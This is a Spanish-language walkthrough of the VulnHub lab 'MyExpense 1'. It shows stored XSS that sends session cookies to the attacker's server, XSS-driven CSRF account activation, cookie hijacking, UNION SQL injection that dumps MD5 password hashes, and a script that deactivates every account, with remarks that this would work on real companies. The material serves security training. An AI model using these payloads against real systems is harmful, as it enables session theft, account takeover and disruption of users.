MyExpensive 1 - VulnHub
En la pagina web de VulnHub donde esta la maquina nos estan diciendo informacion sobre ella https://www.vulnhub.com/entry/myexpense-1,405/
Basicamente nos explican que somos Samuel y fuimos despedidos de una empresa y tenemos que recuperar nuestro dinero de vuelta que son $750
euros ademas nos dicen que estamos en el estacionamienta de la empresa y seguimos teniendo acceso a la wifi interna
Nuestras credenciales que nos comparten son : samuel:fzghn4lw
PortScan
❯ sudo arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:f1:59:4d, IPv4: 192.168.100.15
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 b0:76:1b:40:12:c7 (Unknown)
192.168.100.12 80:30:49:81:dc:ad (Unknown)
192.168.100.38 00:0c:29:5a:76:a1 VMware, Inc.
❯ ping -c 1 192.168.100.38
PING 192.168.100.38 (192.168.100.38) 56(84) bytes of data.
64 bytes from 192.168.100.38: icmp_seq=1 ttl=64 time=0.743 ms
--- 192.168.100.38 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.743/0.743/0.743/0.000 ms
❯
❯ whichSystem.py 192.168.100.38
192.168.100.38 (ttl -> 64): Linux
❯ sudo nmap -sCV -p80,33975,41579,54495,56725 192.168.100.38 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 18:09 CST
Nmap scan report for 192.168.100.38
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Futura Business Informatique GROUPE - Conseil en ing\xC3\xA9nierie
| http-robots.txt: 1 disallowed entry
|_/admin/admin.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
33975/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
41579/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
54495/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
56725/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
❯ sudo nmap --script http-enum -p80 192.168.100.38 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 18:15 CST
Nmap scan report for 192.168.100.38
Host is up (0.00028s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/admin.php: Possible admin folder
| /login.php: Possible admin folder
|_ /robots.txt: Robots file
MAC Address: 00:0C:29:5A:76:A1 (VMware)
Enumeracion
❯ whatweb http://192.168.100.38
http://192.168.100.38 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.100.38], Title[Futura Business Informatique GROUPE - Conseil en ingénierie]
Vemos esto desde consola
❯ curl -s -X GET http://192.168.100.38/robots.txt
User-agent: *
Disallow: /admin/admin.php
Asi se ve la pagina web supongo que esos eran nuestros compañeros de trabajo
No podemos registrarnos por que nuestra cuenta esta inactiva y tenemos que contactar al admin pero bueno vamos a ver mas rutas que nos reporto nmap
Nuestro nombre de usuario es slamotte
y bueno podemos ver usuarios y vemos que nosotros estamos inactivos por que nos despidieron de la empresa
Vamos a probar las contraseñas para ver si podemos conectarnos con el usuario slamotte
y la password que tenemos pero nos dicen que nuestra cuenta fue bloqueada
Vamos a registrarnos si pones el cursor donde esta el boton de Sign up
no te va a dejar pero bueno podemos manipular eso
De primeras esta disabled
Ahora lo vamos a quitar
Y ya pudimos registrarnos
Y vemos que si se registro pero esta inactiva por que se necesita que el administrador la active
Pero bueno vemos nuestro output reflejado por que tenemos control de los valores asi que podemos probar un XSS
desde la parte de registrar una cuenta
Vamos a tratar de cargar un recurso externo por que si hacemos una alerta y se conecta un usuario pues va a ver la alerta y eso llama la atencion pero antes nos tenemos que montar un servidor http
para ver si nos llega la peticion
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Le das a Sign up!
si no de te deja quita el disabled
Se creo
Ahora si recargamos esta parte recibimos las peticiones
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.38 - - [28/Mar/2023 18:47:27] code 404, message File not found
192.168.100.38 - - [28/Mar/2023 18:47:27] "GET /zi.js HTTP/1.1" 404 -
192.168.100.15 - - [28/Mar/2023 18:47:50] code 404, message File not found
192.168.100.15 - - [28/Mar/2023 18:47:50] "GET /zi.js HTTP/1.1" 404 -
192.168.100.15 - - [28/Mar/2023 18:47:50] code 404, message File not found
192.168.100.15 - - [28/Mar/2023 18:47:50] "GET /zi.js HTTP/1.1" 404 -
192.168.100.15 - - [28/Mar/2023 18:47:51] code 404, message File not found
192.168.100.15 - - [28/Mar/2023 18:47:51] "GET /zi.js HTTP/1.1" 404 -
192.168.100.15 - - [28/Mar/2023 18:47:51] code 404, message File not found
Vamos a ponernos otra vez con un servidor http
con Python3
para ver si algun usuario que revisa eso y si esta logueado nos de mas informacion por que nosotros al estar logueados nos otorgan nuestra cookie sesion entonces el usuario que revisa tambien tiene que estar logeado
192.168.100.38 - - [28/Mar/2023 18:51:57] "GET /zi.js HTTP/1.1" 404 -
Si nos vamos ala consola vemos que esa es nuestra cookie
Bueno vemos que si hacemos esto pues nos crea una alerta pero tambien podemos indicar que la cookie
se nos envie a un servidor tercero
Vamos a crear un archivo .js
se va a tramitar una peticion por GET
y cuando la victima por detras interpreta este recurso por XSS
por detras la peticion se va a tramitar a mi peticion web y nos va a llegar la cookie
de sesion a nuestra servidor web del usuario
❯ catn zi.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.15/?cookie=' + document.cookie);
request.send();
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y nos llega la cookie
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.38 - - [28/Mar/2023 19:06:31] "GET /zi.js HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 19:06:31] "GET /?cookie=PHPSESSID=20umug3e0lhsso701tpu73b0s1 HTTP/1.1" 200 -
Vamos a copearnos la cookie
para ver si podemos hacer un Cookie Hijacking
Entonces ponemos la cookie
hay y hacemos un ctrl+r
Pero nos dice que el administrador solo puedo estar autenticado una unica vez
Pero bueno algo que podemos hacer es que nuestra cuenta de Samuel que fue despedido si ponemos el cursor en la parte de Inactive
y damos click nos lleva a esto se esta tratando de activar la cuenta pero no podemos solo el administrador
Podemos modificar el archivo que teniamos antes para que ahora lo que haga es que tramite una peticion al link que le vamos a pasar que es el que vimos en la imagen anterior para que active la cuenta de Samuel
esto es como un tipo CSRF
aprovechandonos del XSS
❯ catn zi.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=11&status=active');
request.send();
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.15 - - [28/Mar/2023 19:20:03] "GET /zi.js HTTP/1.1" 200 -
Recargamos la pagina y vemos que nos activo la cuenta
Ahora que esta activada vamos a logiarnos con las credenciales que tenemos
slamotte:fzghn4lw
Si nos vamos Expense Reports
y vemos nuestro dinero
Bueno vamos a darle en la parte verde
Esta submitted
pero bueno alguien tiene que validarlo asi que aun no hemos terminado
Si nos vamos a nuestro perfil vemos que nuestro manager es Manon Riviere
Vemos que mriviere
pues es Manager
Si nos vamos al home
vemos un chat y nuestro manager esta hablando hay
Y bueno si los usuarios que estan en el chat estan conectados podemos aprovecharnos del XSS
para tratar de robarles la cookie
de sesion
❯ catn zi.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.15:8080/?gracias=' + document.cookie);
request.send();
Vamos a enviar el mensaje y le das a Post your message
Ahora ponemos el servidor http
con python3
con el puerto que pusimos
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Y nos llegan cookies
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.100.38 - - [28/Mar/2023 20:14:00] "GET /zi.js HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:00] "GET /?gracias=PHPSESSID=031jhhj0m30342qq0dkoauhqm5 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:00] "GET /?gracias=PHPSESSID=031jhhj0m30342qq0dkoauhqm5 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:03] "GET /zi.js HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:03] "GET /?gracias=PHPSESSID=cf8b1vo86tnjmj90pa6c8mai90 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:03] "GET /?gracias=PHPSESSID=cf8b1vo86tnjmj90pa6c8mai90 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:04] "GET /zi.js HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:04] "GET /?gracias=PHPSESSID=v39g0413m0mtv3f7g3s5aendf6 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:04] "GET /?gracias=PHPSESSID=v39g0413m0mtv3f7g3s5aendf6 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:11] "GET /zi.js HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:11] "GET /?gracias=PHPSESSID=20umug3e0lhsso701tpu73b0s1 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:23] "GET /zi.js HTTP/1.1" 304 -
192.168.100.38 - - [28/Mar/2023 20:14:23] "GET /?gracias=PHPSESSID=cf8b1vo86tnjmj90pa6c8mai90 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:23] "GET /?gracias=PHPSESSID=cf8b1vo86tnjmj90pa6c8mai90 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:24] "GET /zi.js HTTP/1.1" 304 -
192.168.100.38 - - [28/Mar/2023 20:14:24] "GET /?gracias=PHPSESSID=v39g0413m0mtv3f7g3s5aendf6 HTTP/1.1" 200 -
192.168.100.38 - - [28/Mar/2023 20:14:24] "GET /?gracias=PHPSESSID=v39g0413m0mtv3f7g3s5aendf6 HTTP/1.1" 200 -
Nuestro objetivo es convertirnos en mriviere
Y bueno vamos a cambiar la cookie
en la parte de Storage
y cuando cambies la cookie
simplemente vuelve a dar click en el link
Esta cookie 031jhhj0m30342qq0dkoauhqm5
pertenece al objetivo si ninguna cookie te funciona para el objectivo simplemente deja corriendo mas tiempo el servidor http
para que te lleguen mas cookies y las vas probando asta que estes como el usuario
Si nos vamos a la parte de Expense Reports
vemos que hay tenemos la peticion de devolverle los 750€
pavos a samuel
Y bueno le das click en el boton verde para validar la accion
Y bueno pues fue validada pero aun no tenemos nuestro dinero
Si nos vamos a nuestro perfil pues ahora nuestro manager es Paul Baudouin
Este usuario esta dentro del grupo donde estan los que se encargan las finanzas de la empresa vamos ver de que forma nos podemos convertir en este usuario
Si nos vamos ala parte de Rennes
vemos una ulr
ya algo llamativa
Vamos a ver si es vulnerable a SQL Injection
Y bueno nos da un error
Vamos a quitar la '
y a comentar el resto de la query para ver si la query ahora esta bien
Ahora vamos a hacer un ordenamiento de los datos para ver cuantas columnas hay y vemos el output
Vamos a ver el nombre de la base de datos
Vamos a ver que usuario esta corriendo la base de datos
La query por detras no engloba comillas es por eso que la query
funciona aun asi
Vamos a ver si hay alguna tabla de la base de datos actualmente en uso que tenga credenciales
Pero antes vamos a enumerar todas las bases de datos
Y bueno nos vamos a quedar con myexpense
vamos a ver si podemos obtener sus tablas y estas son las tablas
Ahora vamos a enumerar las columnas
http://192.168.100.38/site.php?id=2 union select 1,column_name from information_schema.columns where table_schema='myexpense' and table_name='user'-- -
Vamos directamente por username
y password
http://192.168.100.38/site.php?id=2 union select 1,group_concat(username,0x3a,password) from user-- -
Y bueno hay que copiarnos todo que es muy largo (eso dijo ella) el resultado xd
Con esto ordenamos todo
❯ catn data
afoulon:124922b5d61dd31177ec83719ef8110a
pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a
rlefrancois:ef0dafa5f531b54bf1f09592df1cd110
mriviere:d0eeb03c6cc5f98a3ca293c1cbf073fc
mnguyen:f7111a83d50584e3f91d85c3db710708
pgervais:2ba907839d9b2d94be46aa27cec150e5
placombe:04d1634c2bfffa62386da699bb79f191
triou:6c26031f0e0859a5716a27d2902585c7
broy:b2d2e1b2e6f4e3d5fe0ae80898f5db27
brenaud:2204079caddd265cedb20d661e35ddc9
slamotte:21989af1d818ad73741dfdbef642b28f
nthomas:a085d095e552db5d0ea9c455b4e99a30
vhoffmann:ba79ca77fe7b216c3e32b37824a20ef3
rmasson:ebfc0985501fee33b9ff2f2734011882
cebolla7:291189fee2e5763458b3f07057be4bca
perro:25d55ad283aa400af464c76d713c07ad
edson:3e6c4d948afe4134336d03066cf35724
juan:080f9ba76405091e4a9867bb0d978d5c
El usuario que nos interesa es el segundo
pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a
Si su contraseña es debil por que esta en MD5
podemos usar esta web para no usar john
https://hashes.com/en/decrypt/hash
pbaudouin:HackMe
Vamos a ver si podemos logearnos con sus credenciales mediante el panel de login
Y funciono
Y bueno vemos que podemos enviar el pago a samuel
Pago enviado
Ahora tenemos que revisar si le llego el pago y si terminamos el CTF hemos aprovechado varias vulnerabilidades para que la empresa le regrese el dinero que le deben a samuel
Si esto fuera un ecenario real no dudo que hay empresas con estas fallas de seguridad podrias inabilitar todas las cuentas para que nadie pueda trabajar asta que las vuelvan a activar
❯ catn zi.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=14&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=13&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=12&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=11&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=10&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=9&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=8&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=7&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=6&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=5&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=4&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=3&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=2&status=inactive');
request.send();
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=1&status=inactive');
request.send();
O igual para que sea mas corto el codigo podrias hacer un bucle
for (var i = 14; i >= 1; i--) {
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.38/admin/admin.php?id=' + i + '&status=inactive');
request.send();
}
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.38 - - [28/Mar/2023 21:12:21] "GET /zi.js HTTP/1.1" 200 -